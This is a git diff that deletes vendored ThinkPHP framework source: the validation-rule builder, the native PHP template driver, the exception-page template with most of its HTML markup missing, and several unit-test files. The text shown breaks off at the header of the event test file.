05e275f..0000000 --- a/vendor/topthink/framework/src/think/validate/ValidateRule.php +++ /dev/null @@ -1,172 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\validate; - -/** - * Class ValidateRule - * @package think\validate - * @method ValidateRule confirm(mixed $rule, string $msg = '') static 验证是否和某个字段的值一致 - * @method ValidateRule different(mixed $rule, string $msg = '') static 验证是否和某个字段的值是否不同 - * @method ValidateRule egt(mixed $rule, string $msg = '') static 验证是否大于等于某个值 - * @method ValidateRule gt(mixed $rule, string $msg = '') static 验证是否大于某个值 - * @method ValidateRule elt(mixed $rule, string $msg = '') static 验证是否小于等于某个值 - * @method ValidateRule lt(mixed $rule, string $msg = '') static 验证是否小于某个值 - * @method ValidateRule eg(mixed $rule, string $msg = '') static 验证是否等于某个值 - * @method ValidateRule in(mixed $rule, string $msg = '') static 验证是否在范围内 - * @method ValidateRule notIn(mixed $rule, string $msg = '') static 验证是否不在某个范围 - * @method ValidateRule between(mixed $rule, string $msg = '') static 验证是否在某个区间 - * @method ValidateRule notBetween(mixed $rule, string $msg = '') static 验证是否不在某个区间 - * @method ValidateRule length(mixed $rule, string $msg = '') static 验证数据长度 - * @method ValidateRule max(mixed $rule, string $msg = '') static 验证数据最大长度 - * @method ValidateRule min(mixed $rule, string $msg = '') static 验证数据最小长度 - * @method ValidateRule after(mixed $rule, string $msg = '') static 验证日期 - * @method ValidateRule before(mixed $rule, string $msg = '') static 验证日期 - * @method ValidateRule expire(mixed $rule, string $msg = '') static 验证有效期 - * @method ValidateRule allowIp(mixed $rule, string $msg = '') static 验证IP许可 - * @method ValidateRule denyIp(mixed $rule, string $msg = '') static 验证IP禁用 - * @method ValidateRule regex(mixed $rule, string $msg = '') static 使用正则验证数据 - * @method ValidateRule token(mixed $rule='__token__', string $msg = '') static 验证表单令牌 - * @method ValidateRule is(mixed $rule, string $msg = '') static 验证字段值是否为有效格式 - * @method ValidateRule isRequire(mixed $rule = null, string $msg = '') static 验证字段必须 - * @method ValidateRule isNumber(mixed $rule = null, string $msg = '') static 验证字段值是否为数字 - * @method ValidateRule isArray(mixed $rule = null, string $msg = '') static 验证字段值是否为数组 - * @method ValidateRule isInteger(mixed $rule = null, string $msg = '') static 验证字段值是否为整形 - * @method ValidateRule isFloat(mixed $rule = null, string $msg = '') static 验证字段值是否为浮点数 - * @method ValidateRule isMobile(mixed $rule = null, string $msg = '') static 验证字段值是否为手机 - * @method ValidateRule isIdCard(mixed $rule = null, string $msg = '') static 验证字段值是否为身份证号码 - * @method ValidateRule isChs(mixed $rule = null, string $msg = '') static 验证字段值是否为中文 - * @method ValidateRule isChsDash(mixed $rule = null, string $msg = '') static 验证字段值是否为中文字母及下划线 - * @method ValidateRule isChsAlpha(mixed $rule = null, string $msg = '') static 验证字段值是否为中文和字母 - * @method ValidateRule isChsAlphaNum(mixed $rule = null, string $msg = '') static 验证字段值是否为中文字母和数字 - * @method ValidateRule isDate(mixed $rule = null, string $msg = '') static 验证字段值是否为有效格式 - * @method ValidateRule isBool(mixed $rule = null, string $msg = '') static 验证字段值是否为布尔值 - * @method ValidateRule isAlpha(mixed $rule = null, string $msg = '') static 验证字段值是否为字母 - * @method ValidateRule isAlphaDash(mixed $rule = null, string $msg = '') static 验证字段值是否为字母和下划线 - * @method ValidateRule isAlphaNum(mixed $rule = null, string $msg = '') static 验证字段值是否为字母和数字 - * @method ValidateRule isAccepted(mixed $rule = null, string $msg = '') static 验证字段值是否为yes, on, 或是 1 - * @method ValidateRule isEmail(mixed $rule = null, string $msg = '') static 验证字段值是否为有效邮箱格式 - * @method ValidateRule isUrl(mixed $rule = null, string $msg = '') static 验证字段值是否为有效URL地址 - * @method ValidateRule activeUrl(mixed $rule, string $msg = '') static 验证是否为合格的域名或者IP - * @method ValidateRule ip(mixed $rule, string $msg = '') static 验证是否有效IP - * @method ValidateRule fileExt(mixed $rule, string $msg = '') static 验证文件后缀 - * @method ValidateRule fileMime(mixed $rule, string $msg = '') static 验证文件类型 - * @method ValidateRule fileSize(mixed $rule, string $msg = '') static 验证文件大小 - * @method ValidateRule image(mixed $rule, string $msg = '') static 验证图像文件 - * @method ValidateRule method(mixed $rule, string $msg = '') static 验证请求类型 - * @method ValidateRule dateFormat(mixed $rule, string $msg = '') static 验证时间和日期是否符合指定格式 - * @method ValidateRule unique(mixed $rule, string $msg = '') static 验证是否唯一 - * @method ValidateRule behavior(mixed $rule, string $msg = '') static 使用行为类验证 - * @method ValidateRule filter(mixed $rule, string $msg = '') static 使用filter_var方式验证 - * @method ValidateRule requireIf(mixed $rule, string $msg = '') static 验证某个字段等于某个值的时候必须 - * @method ValidateRule requireCallback(mixed $rule, string $msg = '') static 通过回调方法验证某个字段是否必须 - * @method ValidateRule requireWith(mixed $rule, string $msg = '') static 验证某个字段有值的情况下必须 - * @method ValidateRule must(mixed $rule = null, string $msg = '') static 必须验证 - */ -class ValidateRule -{ - // 验证字段的名称 - protected $title; - - // 当前验证规则 - protected $rule = []; - - // 验证提示信息 - protected $message = []; - - /** - * 添加验证因子 - * @access protected - * @param string $name 验证名称 - * @param mixed $rule 验证规则 - * @param string $msg 提示信息 - * @return $this - */ - protected function addItem(string $name, $rule = null, string $msg = '') - { - if ($rule || 0 === $rule) { - $this->rule[$name] = $rule; - } else { - $this->rule[] = $name; - } - - $this->message[] = $msg; - - return $this; - } - - /** - * 获取验证规则 - * @access public - * @return array - */ - public function getRule(): array - { - return $this->rule; - } - - /** - * 获取验证字段名称 - * @access public - * @return string - */ - public function getTitle(): string - { - return $this->title ?: ''; - } - - /** - * 获取验证提示 - * @access public - * @return array - */ - public function getMsg(): array - { - return $this->message; - } - - /** - * 设置验证字段名称 - * @access public - * @return $this - */ - public function title(string $title) - { - $this->title = $title; - - return $this; - } - - public function __call($method, $args) - { - if ('is' == strtolower(substr($method, 0, 2))) { - $method = substr($method, 2); - } - - array_unshift($args, lcfirst($method)); - - return call_user_func_array([$this, 'addItem'], $args); - } - - public static function __callStatic($method, $args) - { - $rule = new static(); - - if ('is' == strtolower(substr($method, 0, 2))) { - $method = substr($method, 2); - } - - array_unshift($args, lcfirst($method)); - - return call_user_func_array([$rule, 'addItem'], $args); - } -} diff --git a/vendor/topthink/framework/src/think/view/driver/Php.php b/vendor/topthink/framework/src/think/view/driver/Php.php deleted file mode 100644 index 0713a56..0000000 --- a/vendor/topthink/framework/src/think/view/driver/Php.php +++ /dev/null @@ -1,191 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\view\driver; - -use RuntimeException; -use think\App; -use think\contract\TemplateHandlerInterface; -use think\helper\Str; - -/** - * PHP原生模板驱动 - */ -class Php implements TemplateHandlerInterface -{ - protected $template; - protected $content; - protected $app; - - // 模板引擎参数 - protected $config = [ - // 默认模板渲染规则 1 解析为小写+下划线 2 全部转换小写 3 保持操作方法 - 'auto_rule' => 1, - // 视图目录名 - 'view_dir_name' => 'view', - // 应用模板路径 - 'view_path' => '', - // 模板文件后缀 - 'view_suffix' => 'php', - // 模板文件名分隔符 - 'view_depr' => DIRECTORY_SEPARATOR, - ]; - - public function __construct(App $app, array $config = []) - { - $this->app = $app; - $this->config = array_merge($this->config, (array) $config); - } - - /** - * 检测是否存在模板文件 - * @access public - * @param string $template 模板文件或者模板规则 - * @return bool - */ - public function exists(string $template): bool - { - if ('' == pathinfo($template, PATHINFO_EXTENSION)) { - // 获取模板文件名 - $template = $this->parseTemplate($template); - } - - return is_file($template); - } - - /** - * 渲染模板文件 - * @access public - * @param string $template 模板文件 - * @param array $data 模板变量 - * @return void - */ - public function fetch(string $template, array $data = []): void - { - if ('' == pathinfo($template, PATHINFO_EXTENSION)) { - // 获取模板文件名 - $template = $this->parseTemplate($template); - } - - // 模板不存在 抛出异常 - if (!is_file($template)) { - throw new RuntimeException('template not exists:' . $template); - } - - $this->template = $template; - - extract($data, EXTR_OVERWRITE); - - include $this->template; - } - - /** - * 渲染模板内容 - * @access public - * @param string $content 模板内容 - * @param array $data 模板变量 - * @return void - */ - public function display(string $content, array $data = []): void - { - $this->content = $content; - - extract($data, EXTR_OVERWRITE); - eval('?>' . $this->content); - } - - /** - * 自动定位模板文件 - * @access private - * @param string $template 模板文件规则 - * @return string - */ - private function parseTemplate(string $template): string - { - $request = $this->app->request; - - // 获取视图根目录 - if (strpos($template, '@')) { - // 跨应用调用 - [$app, $template] = explode('@', $template); - } - - if ($this->config['view_path'] && !isset($app)) { - $path = $this->config['view_path']; - } else { - $appName = isset($app) ? $app : $this->app->http->getName(); - $view = $this->config['view_dir_name']; - - if (is_dir($this->app->getAppPath() . $view)) { - $path = isset($app) ? $this->app->getBasePath() . ($appName ? $appName . DIRECTORY_SEPARATOR : '') . $view . DIRECTORY_SEPARATOR : $this->app->getAppPath() . $view . DIRECTORY_SEPARATOR; - } else { - $path = $this->app->getRootPath() . $view . DIRECTORY_SEPARATOR . ($appName ? $appName . DIRECTORY_SEPARATOR : ''); - } - } - - $depr = $this->config['view_depr']; - - if (0 !== strpos($template, '/')) { - $template = str_replace(['/', ':'], $depr, $template); - $controller = $request->controller(); - if (strpos($controller, '.')) { - $pos = strrpos($controller, '.'); - $controller = substr($controller, 0, $pos) . '.' . Str::snake(substr($controller, $pos + 1)); - } else { - $controller = Str::snake($controller); - } - - if ($controller) { - if ('' == $template) { - // 如果模板文件名为空 按照默认规则定位 - if (2 == $this->config['auto_rule']) { - $template = $request->action(true); - } elseif (3 == $this->config['auto_rule']) { - $template = $request->action(); - } else { - $template = Str::snake($request->action()); - } - - $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template; - } elseif (false === strpos($template, $depr)) { - $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template; - } - } - } else { - $template = str_replace(['/', ':'], $depr, substr($template, 1)); - } - - return $path . ltrim($template, '/') . '.' . ltrim($this->config['view_suffix'], '.'); - } - - /** - * 配置模板引擎 - * @access private - * @param array $config 参数 - * @return void - */ - public function config(array $config): void - { - $this->config = array_merge($this->config, $config); - } - - /** - * 获取模板引擎配置 - * @access public - * @param string $name 参数名 - * @return mixed - */ - public function getConfig(string $name) - { - return $this->config[$name] ?? null; - } -} diff --git a/vendor/topthink/framework/src/tpl/think_exception.tpl b/vendor/topthink/framework/src/tpl/think_exception.tpl deleted file mode 100644 index 7766caf..0000000 --- a/vendor/topthink/framework/src/tpl/think_exception.tpl +++ /dev/null @@ -1,502 +0,0 @@ -'.end($names).''; - } -} - -if (!function_exists('parse_file')) { - function parse_file($file, $line) - { - return ''.basename($file)." line {$line}".''; - } -} - -if (!function_exists('parse_args')) { - function parse_args($args) - { - $result = []; - foreach ($args as $key => $item) { - switch (true) { - case is_object($item): - $value = sprintf('object(%s)', parse_class(get_class($item))); - break; - case is_array($item): - if (count($item) > 3) { - $value = sprintf('[%s, ...]', parse_args(array_slice($item, 0, 3))); - } else { - $value = sprintf('[%s]', parse_args($item)); - } - break; - case is_string($item): - if (strlen($item) > 20) { - $value = sprintf( - '\'%s...\'', - htmlentities($item), - htmlentities(substr($item, 0, 20)) - ); - } else { - $value = sprintf("'%s'", htmlentities($item)); - } - break; - case is_int($item): - case is_float($item): - $value = $item; - break; - case is_null($item): - $value = 'null'; - break; - case is_bool($item): - $value = '' . ($item ? 'true' : 'false') . ''; - break; - case is_resource($item): - $value = 'resource'; - break; - default: - $value = htmlentities(str_replace("\n", '', var_export(strval($item), true))); - break; - } - - $result[] = is_int($key) ? $value : "'{$key}' => {$value}"; - } - - return implode(', ', $result); - } -} -if (!function_exists('echo_value')) { - function echo_value($val) - { - if (is_array($val) || is_object($val)) { - echo htmlentities(json_encode($val, JSON_PRETTY_PRINT)); - } elseif (is_bool($val)) { - echo $val ? 'true' : 'false'; - } elseif (is_scalar($val)) { - echo htmlentities($val); - } else { - echo 'Resource'; - } - } -} -?> - - - - - 系统发生错误 - - - - - - $trace) { ?> -
    -
    -
    -
    -

    -
    -

    -
    -
    - -
    -
      $value) { ?>
    1. ">
    -
    - -
    -

    Call Stack

    -
      -
    1. - -
    2. - -
    3. - -
    -
    -
    - - -
    -

    -
    - - - -
    -

    Exception Datas

    - $value) { ?> - - - - - - - $val) { ?> - - - - - - - -
    empty
    - -
    - - - -
    -

    Environment Variables

    - $value) { ?> - - - - - - - $val) { ?> - - - - - - - -
    empty
    - -
    - - - - - - - - diff --git a/vendor/topthink/framework/tests/AppTest.php b/vendor/topthink/framework/tests/AppTest.php deleted file mode 100644 index 6b86015..0000000 --- a/vendor/topthink/framework/tests/AppTest.php +++ /dev/null @@ -1,215 +0,0 @@ - 'class', - ]; - - public function register() - { - - } - - public function boot() - { - - } -} - -/** - * @property array initializers - */ -class AppTest extends TestCase -{ - /** @var App */ - protected $app; - - protected function setUp() - { - $this->app = new App(); - } - - protected function tearDown(): void - { - m::close(); - } - - public function testService() - { - $this->app->register(stdClass::class); - - $this->assertInstanceOf(stdClass::class, $this->app->getService(stdClass::class)); - - $service = m::mock(SomeService::class); - - $service->shouldReceive('register')->once(); - - $this->app->register($service); - - $this->assertEquals($service, $this->app->getService(SomeService::class)); - - $service2 = m::mock(SomeService::class); - - $service2->shouldReceive('register')->once(); - - $this->app->register($service2); - - $this->assertEquals($service, $this->app->getService(SomeService::class)); - - $this->app->register($service2, true); - - $this->assertEquals($service2, $this->app->getService(SomeService::class)); - - $service->shouldReceive('boot')->once(); - $service2->shouldReceive('boot')->once(); - - $this->app->boot(); - } - - public function testDebug() - { - $this->app->debug(false); - - $this->assertFalse($this->app->isDebug()); - - $this->app->debug(true); - - $this->assertTrue($this->app->isDebug()); - } - - public function testNamespace() - { - $namespace = 'test'; - - $this->app->setNamespace($namespace); - - $this->assertEquals($namespace, $this->app->getNamespace()); - } - - public function testVersion() - { - $this->assertEquals(App::VERSION, $this->app->version()); - } - - public function testPath() - { - $rootPath = __DIR__ . DIRECTORY_SEPARATOR; - - $app = new App($rootPath); - - $this->assertEquals($rootPath, $app->getRootPath()); - - $this->assertEquals(dirname(__DIR__) . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR, $app->getThinkPath()); - - $this->assertEquals($rootPath . 'app' . DIRECTORY_SEPARATOR, $app->getAppPath()); - - $appPath = $rootPath . 'app' . DIRECTORY_SEPARATOR . 'admin' . DIRECTORY_SEPARATOR; - $app->setAppPath($appPath); - $this->assertEquals($appPath, $app->getAppPath()); - - $this->assertEquals($rootPath . 'app' . DIRECTORY_SEPARATOR, $app->getBasePath()); - - $this->assertEquals($rootPath . 'config' . DIRECTORY_SEPARATOR, $app->getConfigPath()); - - $this->assertEquals($rootPath . 'runtime' . DIRECTORY_SEPARATOR, $app->getRuntimePath()); - - $runtimePath = $rootPath . 'runtime' . DIRECTORY_SEPARATOR . 'admin' . DIRECTORY_SEPARATOR; - $app->setRuntimePath($runtimePath); - $this->assertEquals($runtimePath, $app->getRuntimePath()); - } - - /** - * @param vfsStreamDirectory $root - * @param bool $debug - * @return App - */ - protected function prepareAppForInitialize(vfsStreamDirectory $root, $debug = true) - { - $rootPath = $root->url() . DIRECTORY_SEPARATOR; - - $app = new App($rootPath); - - $initializer = m::mock(); - $initializer->shouldReceive('init')->once()->with($app); - - $app->instance($initializer->mockery_getName(), $initializer); - - (function () use ($initializer) { - $this->initializers = [$initializer->mockery_getName()]; - })->call($app); - - $env = m::mock(Env::class); - $env->shouldReceive('load')->once()->with($rootPath . '.env'); - $env->shouldReceive('get')->once()->with('config_ext', '.php')->andReturn('.php'); - $env->shouldReceive('get')->once()->with('app_debug')->andReturn($debug); - - $event = m::mock(Event::class); - $event->shouldReceive('trigger')->once()->with(AppInit::class); - $event->shouldReceive('bind')->once()->with([]); - $event->shouldReceive('listenEvents')->once()->with([]); - $event->shouldReceive('subscribe')->once()->with([]); - - $app->instance('env', $env); - $app->instance('event', $event); - - return $app; - } - - public function testInitialize() - { - $root = vfsStream::setup('rootDir', null, [ - '.env' => '', - 'app' => [ - 'common.php' => '', - 'event.php' => '[],"listen"=>[],"subscribe"=>[]];', - 'provider.php' => ' [ - 'app.php' => 'prepareAppForInitialize($root, true); - - $app->debug(false); - - $app->initialize(); - - $this->assertIsInt($app->getBeginMem()); - $this->assertIsFloat($app->getBeginTime()); - - $this->assertTrue($app->initialized()); - } - - public function testFactory() - { - $this->assertInstanceOf(stdClass::class, App::factory(stdClass::class)); - - $this->expectException(ClassNotFoundException::class); - - App::factory('SomeClass'); - } - - public function testParseClass() - { - $this->assertEquals('app\\controller\\SomeClass', $this->app->parseClass('controller', 'some_class')); - $this->app->setNamespace('app2'); - $this->assertEquals('app2\\controller\\SomeClass', $this->app->parseClass('controller', 'some_class')); - } - -} diff --git a/vendor/topthink/framework/tests/CacheTest.php b/vendor/topthink/framework/tests/CacheTest.php deleted file mode 100644 index 5b5a13c..0000000 --- a/vendor/topthink/framework/tests/CacheTest.php +++ /dev/null @@ -1,149 +0,0 @@ -app = m::mock(App::class)->makePartial(); - - Container::setInstance($this->app); - $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); - $this->config = m::mock(Config::class)->makePartial(); - $this->app->shouldReceive('get')->with('config')->andReturn($this->config); - - $this->cache = new Cache($this->app); - } - - public function testGetConfig() - { - $config = [ - 'default' => 'file', - ]; - - $this->config->shouldReceive('get')->with('cache')->andReturn($config); - - $this->assertEquals($config, $this->cache->getConfig()); - - $this->expectException(InvalidArgumentException::class); - $this->cache->getStoreConfig('foo'); - } - - public function testCacheManagerInstances() - { - $this->config->shouldReceive('get')->with("cache.stores.single", null)->andReturn(['type' => 'file']); - - $channel1 = $this->cache->store('single'); - $channel2 = $this->cache->store('single'); - - $this->assertSame($channel1, $channel2); - } - - public function testFileCache() - { - $root = vfsStream::setup(); - - $this->config->shouldReceive('get')->with("cache.default", null)->andReturn('file'); - - $this->config->shouldReceive('get')->with("cache.stores.file", null)->andReturn(['type' => 'file', 'path' => $root->url()]); - - $this->cache->set('foo', 5); - $this->cache->inc('foo'); - $this->assertEquals(6, $this->cache->get('foo')); - $this->cache->dec('foo', 2); - $this->assertEquals(4, $this->cache->get('foo')); - - $this->cache->set('bar', true); - $this->assertTrue($this->cache->get('bar')); - - $this->cache->set('baz', null); - $this->assertNull($this->cache->get('baz')); - - $this->assertTrue($this->cache->has('baz')); - $this->cache->delete('baz'); - $this->assertFalse($this->cache->has('baz')); - $this->assertNull($this->cache->get('baz')); - $this->assertFalse($this->cache->get('baz', false)); - - $this->assertTrue($root->hasChildren()); - $this->cache->clear(); - $this->assertFalse($root->hasChildren()); - - //tags - $this->cache->tag('foo')->set('bar', 'foobar'); - $this->assertEquals('foobar', $this->cache->get('bar')); - $this->cache->tag('foo')->clear(); - $this->assertFalse($this->cache->has('bar')); - - //multiple - $this->cache->setMultiple(['foo' => ['foobar', 'bar'], 'foobar' => ['foo', 'bar']]); - $this->assertEquals(['foo' => ['foobar', 'bar'], 'foobar' => ['foo', 'bar']], $this->cache->getMultiple(['foo', 'foobar'])); - $this->assertTrue($this->cache->deleteMultiple(['foo', 'foobar'])); - } - - public function testRedisCache() - { - if (extension_loaded('redis')) { - return; - } - $this->config->shouldReceive('get')->with("cache.default", null)->andReturn('redis'); - $this->config->shouldReceive('get')->with("cache.stores.redis", null)->andReturn(['type' => 'redis']); - - $redis = m::mock('overload:\Predis\Client'); - - $redis->shouldReceive("set")->once()->with('foo', 5)->andReturnTrue(); - $redis->shouldReceive("incrby")->once()->with('foo', 1)->andReturnTrue(); - $redis->shouldReceive("decrby")->once()->with('foo', 2)->andReturnTrue(); - $redis->shouldReceive("get")->once()->with('foo')->andReturn('6'); - $redis->shouldReceive("get")->once()->with('foo')->andReturn('4'); - $redis->shouldReceive("set")->once()->with('bar', serialize(true))->andReturnTrue(); - $redis->shouldReceive("set")->once()->with('baz', serialize(null))->andReturnTrue(); - $redis->shouldReceive("del")->once()->with('baz')->andReturnTrue(); - $redis->shouldReceive("flushDB")->once()->andReturnTrue(); - $redis->shouldReceive("set")->once()->with('bar', serialize('foobar'))->andReturnTrue(); - $redis->shouldReceive("sAdd")->once()->with('tag:' . md5('foo'), 'bar')->andReturnTrue(); - $redis->shouldReceive("sMembers")->once()->with('tag:' . md5('foo'))->andReturn(['bar']); - $redis->shouldReceive("del")->once()->with(['bar'])->andReturnTrue(); - $redis->shouldReceive("del")->once()->with('tag:' . md5('foo'))->andReturnTrue(); - - $this->cache->set('foo', 5); - $this->cache->inc('foo'); - $this->assertEquals(6, $this->cache->get('foo')); - $this->cache->dec('foo', 2); - $this->assertEquals(4, $this->cache->get('foo')); - - $this->cache->set('bar', true); - $this->cache->set('baz', null); - $this->cache->delete('baz'); - $this->cache->clear(); - - //tags - $this->cache->tag('foo')->set('bar', 'foobar'); - $this->cache->tag('foo')->clear(); - } -} diff --git a/vendor/topthink/framework/tests/ConfigTest.php b/vendor/topthink/framework/tests/ConfigTest.php deleted file mode 100644 index 271a34f..0000000 --- a/vendor/topthink/framework/tests/ConfigTest.php +++ /dev/null @@ -1,46 +0,0 @@ -setContent(" 'value1','key2'=>'value2'];"); - $root->addChild($file); - - $config = new Config(); - - $config->load($file->url(), 'test'); - - $this->assertEquals('value1', $config->get('test.key1')); - $this->assertEquals('value2', $config->get('test.key2')); - - $this->assertSame(['key1' => 'value1', 'key2' => 'value2'], $config->get('test')); - } - - public function testSetAndGet() - { - $config = new Config(); - - $config->set([ - 'key1' => 'value1', - 'key2' => [ - 'key3' => 'value3', - ], - ], 'test'); - - $this->assertTrue($config->has('test.key1')); - $this->assertEquals('value1', $config->get('test.key1')); - $this->assertEquals('value3', $config->get('test.key2.key3')); - - $this->assertEquals(['key3' => 'value3'], $config->get('test.key2')); - $this->assertFalse($config->has('test.key3')); - $this->assertEquals('none', $config->get('test.key3', 'none')); - } -} diff --git a/vendor/topthink/framework/tests/ContainerTest.php b/vendor/topthink/framework/tests/ContainerTest.php deleted file mode 100644 index e27deb0..0000000 --- a/vendor/topthink/framework/tests/ContainerTest.php +++ /dev/null @@ -1,314 +0,0 @@ -name = $name; - } - - public function some(Container $container) - { - } - - protected function protectionFun() - { - return true; - } - - public static function test(Container $container) - { - return $container; - } - - public static function __make() - { - return new self('Taylor'); - } -} - -class SomeClass -{ - public $container; - - public $count = 0; - - public function __construct(Container $container) - { - $this->container = $container; - } -} - -class ContainerTest extends TestCase -{ - protected function tearDown(): void - { - Container::setInstance(null); - } - - public function testClosureResolution() - { - $container = new Container; - - Container::setInstance($container); - - $container->bind('name', function () { - return 'Taylor'; - }); - - $this->assertEquals('Taylor', $container->make('name')); - - $this->assertEquals('Taylor', Container::pull('name')); - } - - public function testGet() - { - $container = new Container; - - $this->expectException(ClassNotFoundException::class); - $this->expectExceptionMessage('class not exists: name'); - $container->get('name'); - - $container->bind('name', function () { - return 'Taylor'; - }); - - $this->assertSame('Taylor', $container->get('name')); - } - - public function testExist() - { - $container = new Container; - - $container->bind('name', function () { - return 'Taylor'; - }); - - $this->assertFalse($container->exists("name")); - - $container->make('name'); - - $this->assertTrue($container->exists('name')); - } - - public function testInstance() - { - $container = new Container; - - $container->bind('name', function () { - return 'Taylor'; - }); - - $this->assertEquals('Taylor', $container->get('name')); - - $container->bind('name2', Taylor::class); - - $object = new stdClass(); - - $this->assertFalse($container->exists('name2')); - - $container->instance('name2', $object); - - $this->assertTrue($container->exists('name2')); - - $this->assertTrue($container->exists(Taylor::class)); - - $this->assertEquals($object, $container->make(Taylor::class)); - - unset($container->name1); - - $this->assertFalse($container->exists('name1')); - - $container->delete('name2'); - - $this->assertFalse($container->exists('name2')); - - foreach ($container as $class => $instance) { - - } - } - - public function testBind() - { - $container = new Container; - - $object = new stdClass(); - - $container->bind(['name' => Taylor::class]); - - $container->bind('name2', $object); - - $container->bind('name3', Taylor::class); - $container->bind('name3', Taylor::class); - - $container->name4 = $object; - - $container['name5'] = $object; - - $this->assertTrue(isset($container->name4)); - - $this->assertTrue(isset($container['name5'])); - - $this->assertInstanceOf(Taylor::class, $container->get('name')); - - $this->assertSame($object, $container->get('name2')); - - $this->assertSame($object, $container->name4); - - $this->assertSame($object, $container['name5']); - - $this->assertInstanceOf(Taylor::class, $container->get('name3')); - - unset($container['name']); - - $this->assertFalse(isset($container['name'])); - - unset($container->name3); - - $this->assertFalse(isset($container->name3)); - } - - public function testAutoConcreteResolution() - { - $container = new Container; - - $taylor = $container->make(Taylor::class); - - $this->assertInstanceOf(Taylor::class, $taylor); - $this->assertAttributeSame('Taylor', 'name', $taylor); - } - - public function testGetAndSetInstance() - { - $this->assertInstanceOf(Container::class, Container::getInstance()); - - $object = new stdClass(); - - Container::setInstance($object); - - $this->assertSame($object, Container::getInstance()); - - Container::setInstance(function () { - return $this; - }); - - $this->assertSame($this, Container::getInstance()); - } - - public function testResolving() - { - $container = new Container(); - $container->bind(Container::class, $container); - - $container->resolving(function (SomeClass $taylor, Container $container) { - $taylor->count++; - }); - $container->resolving(SomeClass::class, function (SomeClass $taylor, Container $container) { - $taylor->count++; - }); - - /** @var SomeClass $someClass */ - $someClass = $container->invokeClass(SomeClass::class); - $this->assertEquals(2, $someClass->count); - } - - public function testInvokeFunctionWithoutMethodThrowsException() - { - $this->expectException(FuncNotFoundException::class); - $this->expectExceptionMessage('function not exists: ContainerTestCallStub()'); - $container = new Container(); - $container->invokeFunction('ContainerTestCallStub', []); - } - - public function testInvokeProtectionMethod() - { - $container = new Container(); - $this->assertTrue($container->invokeMethod([Taylor::class, 'protectionFun'], [], true)); - } - - public function testInvoke() - { - $container = new Container(); - - Container::setInstance($container); - - $container->bind(Container::class, $container); - - $stub = $this->createMock(Taylor::class); - - $stub->expects($this->once())->method('some')->with($container)->will($this->returnSelf()); - - $container->invokeMethod([$stub, 'some']); - - $this->assertEquals('48', $container->invoke('ord', ['0'])); - - $this->assertSame($container, $container->invoke(Taylor::class . '::test', [])); - - $this->assertSame($container, $container->invokeMethod(Taylor::class . '::test')); - - $reflect = new ReflectionMethod($container, 'exists'); - - $this->assertTrue($container->invokeReflectMethod($container, $reflect, [Container::class])); - - $this->assertSame($container, $container->invoke(function (Container $container) { - return $container; - })); - - $this->assertSame($container, $container->invoke(Taylor::class . '::test')); - - $object = $container->invokeClass(SomeClass::class); - $this->assertInstanceOf(SomeClass::class, $object); - $this->assertSame($container, $object->container); - - $stdClass = new stdClass(); - - $container->invoke(function (Container $container, stdClass $stdObject, $key1, $lowKey, $key2 = 'default') use ($stdClass) { - $this->assertEquals('value1', $key1); - $this->assertEquals('default', $key2); - $this->assertEquals('value2', $lowKey); - $this->assertSame($stdClass, $stdObject); - return $container; - }, ['some' => $stdClass, 'key1' => 'value1', 'low_key' => 'value2']); - } - - public function testInvokeMethodNotExists() - { - $container = $this->resolveContainer(); - $this->expectException(FuncNotFoundException::class); - - $container->invokeMethod([SomeClass::class, 'any']); - } - - public function testInvokeClassNotExists() - { - $container = new Container(); - - Container::setInstance($container); - - $container->bind(Container::class, $container); - - $this->expectExceptionObject(new ClassNotFoundException('class not exists: SomeClass')); - - $container->invokeClass('SomeClass'); - } - - protected function resolveContainer() - { - $container = new Container(); - - Container::setInstance($container); - return $container; - } - -} diff --git a/vendor/topthink/framework/tests/DbTest.php b/vendor/topthink/framework/tests/DbTest.php deleted file mode 100644 index 3bd0c1e..0000000 --- a/vendor/topthink/framework/tests/DbTest.php +++ /dev/null @@ -1,49 +0,0 @@ -shouldReceive('get')->with('database.cache_store', null)->andReturn(null); - $cache->shouldReceive('store')->with(null)->andReturn($store); - - $db = Db::__make($event, $config, $log, $cache); - - $config->shouldReceive('get')->with('database.foo', null)->andReturn('foo'); - $this->assertEquals('foo', $db->getConfig('foo')); - - $config->shouldReceive('get')->with('database', [])->andReturn([]); - $this->assertEquals([], $db->getConfig()); - - $callback = function () { - }; - $event->shouldReceive('listen')->with('db.some', $callback); - $db->event('some', $callback); - - $event->shouldReceive('trigger')->with('db.some', null, false); - $db->trigger('some'); - } - -} diff --git a/vendor/topthink/framework/tests/EnvTest.php b/vendor/topthink/framework/tests/EnvTest.php deleted file mode 100644 index cf2e65f..0000000 --- a/vendor/topthink/framework/tests/EnvTest.php +++ /dev/null @@ -1,82 +0,0 @@ -setContent("key1=value1\nkey2=value2"); - $root->addChild($envFile); - - $env = new Env(); - - $env->load($envFile->url()); - - $this->assertEquals('value1', $env->get('key1')); - $this->assertEquals('value2', $env->get('key2')); - - $this->assertSame(['KEY1' => 'value1', 'KEY2' => 'value2'], $env->get()); - } - - public function testServerEnv() - { - $env = new Env(); - - $this->assertEquals('value2', $env->get('key2', 'value2')); - - putenv('PHP_KEY7=value7'); - putenv('PHP_KEY8=false'); - putenv('PHP_KEY9=true'); - - $this->assertEquals('value7', $env->get('key7')); - $this->assertFalse($env->get('KEY8')); - $this->assertTrue($env->get('key9')); - } - - public function testSetEnv() - { - $env = new Env(); - - $env->set([ - 'key1' => 'value1', - 'key2' => [ - 'key1' => 'value1-2', - ], - ]); - - $env->set('key3', 'value3'); - - $env->key4 = 'value4'; - - $env['key5'] = 'value5'; - - $this->assertEquals('value1', $env->get('key1')); - $this->assertEquals('value1-2', $env->get('key2.key1')); - - $this->assertEquals('value3', $env->get('key3')); - - $this->assertEquals('value4', $env->key4); - - $this->assertEquals('value5', $env['key5']); - - $this->expectException(Exception::class); - - unset($env['key5']); - } - - public function testHasEnv() - { - $env = new Env(); - $env->set(['foo' => 'bar']); - $this->assertTrue($env->has('foo')); - $this->assertTrue(isset($env->foo)); - $this->assertTrue($env->offsetExists('foo')); - } -} diff --git a/vendor/topthink/framework/tests/EventTest.php b/vendor/topthink/framework/tests/EventTest.php deleted file mode 100644 index ded5a36..0000000 --- a/vendor/topthink/framework/tests/EventTest.php +++ /dev/null @@ -1,134 